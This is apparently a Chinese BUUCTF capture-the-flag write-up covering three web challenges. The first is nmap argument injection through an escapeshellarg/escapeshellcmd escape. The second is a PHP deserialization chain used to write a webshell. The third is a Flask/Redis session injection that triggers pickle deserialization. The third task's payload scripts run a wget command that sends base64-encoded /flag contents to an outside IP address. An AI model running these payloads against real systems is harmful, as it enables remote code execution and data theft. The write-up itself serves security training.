1.one line tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这道题主要是命令注入,利用escapeshellarg 和 escapeshellcmd前后使用时通过注入单引号来导致逃逸出一个单引号 从而导致可以参数注入

这里主要用到nmap的两个参数-iL 和-oN 以任意格式输出,-oX不行,这样不会把/flag的内容输出,必须要用-N才能解析/flag中的内容,从而输出到指定的路径,像这种短的代码都可以拿到本地来测试,也很方便调试。

payload:' + -iL /flag + -oN 输出路径

2.upload

这道题来自2019强网杯,直接扫描目录就能得到源代码,之后就进行代码审计:

对于这种mvc框架性的web,可以直接先看其路由,然后结合路由以及控制器去看程序的逻辑

首先反序列化点在此,那么接下来要找可以利用的类,那么既然存在反序列化那么就要找__destruct方法了,一共有四个类:

但是只有index.php才存在__destruct方法,那么我们应该反序列化这个类来触发漏洞

那么这里通过序列化profile类来进行反序列化,这里调用index()方法,而其不存在index方法,则会调用__call方法

这里__call方法又会调用name属性,也就是index属性,但是明显不存在这个属性,那么此时会调用__get方法,返回profile类的except数组中的值,当时我想的是这里能不能直接进行代码执行,因为有这一串:

$this->{$this->{$name}}($arguments);

这里是不能够任意代码执行的

这里只能调用profile类中的已经定义的方法,因为是先解析出来$this->$d的值,然后再调用$this>"b"(),此时不存在b方法,并不会去解析$b变量,所以这里通过调用上传文件方法,来达到写shell的效果:

3.bookhub

  这道题在登陆时限制了一些内网的ip的白名单,并且给了一个外网的ip,此时修改xff是不行的,nginx获取到的是中间转发过去的ip地址

,而给的外网ip的5000端口就开了一个debug模型的web,buu里面直接给的debug模式下的。

然后就是涉及未授权访问,这里涉及到python的修饰器调用顺序

正常情況下,如上图,调用顺序为login_required->user_blueprint,但是在debug模式下:

这里login_required放在了外层,那么就没用了,可以直接访问refresh_session方法,这里做题的时候直接观察也可以,除了这一处其它地方login都在里层。这个函数的作用是清除除了自己的以外所有人的session

首先访问这个路由,发现需要设置csrf token

然后回到登陆页找到表单的csrf token值,再次访问

此时访问成功了,此时又涉及到session的拼接,prefix不可控,但是flask的session在客户端,是可以控制的,因此进行拼接

又因为app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:',所以可以拼接:

19a79b29-3524-4efa-99d6-3997ae425761",redis evilcode,"bookhub:session:aaa

首先对我们的bookhub:session进行一个覆盖,赋值为aaa,然后将redis的恶意数据拼接进去,然后当我们带着aaa这个session当问的时候就会触发pickle反序列化来执行恶意代码。所以接下来就是如何构造evilcode,我们可以给自己构造的session赋值为反弹shell的值。然后再带着session触发序列化即可。

首先生成payload:

import cPickle
import os class exp(object):
def __reduce__(self):
s="wget 104.224.146.7:23333?`cat /flag* | base64`"
return (os.system,(s,)) e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:tr1ple",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:tr1ple
'''%evilcode
print payload.replace(" ","")

这里要用到cpickle来生成序列化的数据,然后再拼接到payload中

这里首先要带着生成的payload作为cookie值去访问login来得到csrf的token值,然后此时再向 /admin/system/refresh_session/ 页面post我们的csrf_token&submit,此时并将payload放到bookhub-session中,此时就能够将cookie值设置到redis中,那么此时只要再访问login页面就能触发redis反序列化session中的payload,从而带出flag的值

然后此时再触发session的拼接,然后此时带着bookhub-session为tr1ple的值访问login,就会触发反序列化

此时vps上已经接收到了flag的值

当我们进入redis,想要查看存储的值时,可以使用keys *来查看所有存储的值

import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """wget 104.224.146.7:23333"""
return os.system, (s,)
evil = cPickle.dumps(genpoc())
print evil.replace("\n","\\n")

我们也可以不用转码来构造pickle的序列化数据

bookhub-session=aaa"} redis.call("set","bookhub:session:aaa","pickle序列化数据")--; 
通过redis.call来设置session值,这里app里已经设置了session的前缀为bookhub:session:,所以aaa的值就可以设置为序列化数据

此时就能够带上csrf_token去访问refresh页面来设置新的cookie值,然后再设置session为aaa去访问login从而触发反序列化,同样能收到请求

BUUCTF平台-web-边刷边记录-2的更多相关文章

  1. CentOS 5.5 下安装Countly Web Server过程记录

    CentOS 5.5 下安装Countly Web Server过程记录 1. 系统更新与中文语言包安装 2. 基本环境配置: 2.1. NodeJS安装 依赖项安装 yum -y install g ...

  2. kvm虚拟化管理平台WebVirtMgr部署-完整记录(3)

    继下面三篇文章完成了kvm虚拟化管理平台webvirtmgr环境的部署安装:kvm虚拟化管理平台WebVirtMgr部署-虚拟化环境安装-完整记录(0)kvm虚拟化管理平台WebVirtMgr部署-完 ...

  3. kvm虚拟化管理平台WebVirtMgr部署-完整记录(2)

    继上一篇kvm虚拟化管理平台WebVirtMgr部署-完整记录(1),接下来说说WebVirtMgr的日常配置:添加宿主机,创建虚机,磁盘扩容,快照等具体操作记录如下: 一.配置宿主机1.登录WebV ...

  4. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. BUUCTF平台-web-边刷边记录-1

    1.WarmUp 思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有 2.easy_tornado ...

  7. 自制公众平台Web Api(微信)

    最近一段时间感觉没什么东西可以分享给大家,又由于手上项目比较赶,不太更新博客了,今天趁着生病闲下来的时间分享一些项目中的东西给大家. 公众平台 提起公众平台当下最流行的莫过于腾讯的微信了,当然还有易信 ...

  8. 开放平台-web实现QQ第三方登录

    应用场景     web应用通过QQ登录授权实现第三方登录.   操作步骤     1  注册成为QQ互联平台开发者,http://connect.qq.com/     2  准备一个可访问的域名, ...

  9. ELK实时日志分析平台环境部署--完整记录

    在日常运维工作中,对于系统和业务日志的处理尤为重要.今天,在这里分享一下自己部署的ELK(+Redis)-开源实时日志分析平台的记录过程(仅依据本人的实际操作为例说明,如有误述,敬请指出)~ ==== ...

随机推荐

  1. 设计模式风格<一>;回调风格

    主程序,是一个人,有一个类是同事: static void Main(string[] args) { Console.WriteLine("Hello Go to Lunch?" ...

  2. luogu题解 P4092 【[HEOI2016/TJOI2016]树】树链剖分

    题目链接: https://www.luogu.org/problemnew/show/P4092 瞎扯--\(O(Q \log^3 N)\)解法 这道先yy出了一个\(O(Q \log^3 N)\) ...

  3. javaIO——概述

    以前看java书,都将IO作为一个大的章节甚至模块来编写,可见IO在java语言中的重要性. java的流按功能和处理的目标数据不同可以分为字节流和字符流.字符流处理的基本数据单元是字符:字节流处理的 ...

  4. SQL生成自动序号 带有占位符(掩码),可以调整占位长度的语句

    MSSQL 语句 --声明变量 DECLARE @i int DECLARE @xh varchar(10) DECLARE @name varchar(10) Set @i = 0 --开始循环插入 ...

  5. LeetCode:1179.重新格式化部门表

    题目链接:https://leetcode-cn.com/problems/reformat-department-table/ 题目 部门表 Department: +--------------- ...

  6. 使用lodop.js打印控件打印table并分页等

    import {getLodop} from '@/utils/LodopFuncs.js' //打印表格 export default{ // num 打印还是打印预览 conData 对象形式 传 ...

  7. 温度传感器 DS18B20

    1. 实物图 2. 64位(激)光刻只读存储器 开始8位(28H)是产品类型标号,接着的48位是该DS18B20自身的序列号,最后8位是前面56位的循环冗余校验码 光刻ROM的作用是使每一个DS18B ...

  8. SAP成都研究院李三郎:SCP Application Router简介

    今天的文章来自李贝宁(Ben),SAP成都研究院的资深程序猿和架构师. 作为成都研究院里同时精通Java, JavaScript和ABAP这三门编程语言的数位同事之一,Ben曾经先后担任了成都CRM ...

  9. Dedecms限制栏目列表生成的最大页数

    首先,我们要登陆DEDECMS后台 >> 系统 >> 站点设置 的同条栏目上,添加一个新的变量,变量名称:cfg_listmaxpage,变量说明:栏目生成列表最大页数,变量值 ...

  10. Django—auth模块

    auth模块简介 auth模块是对登录认证方法的一种封装,之前我们获取用户输入的用户名及密码后需要自己从user表里查询有没有用户名和密码符合的对象, 而有了auth模块之后就可以很轻松的去验证用户的 ...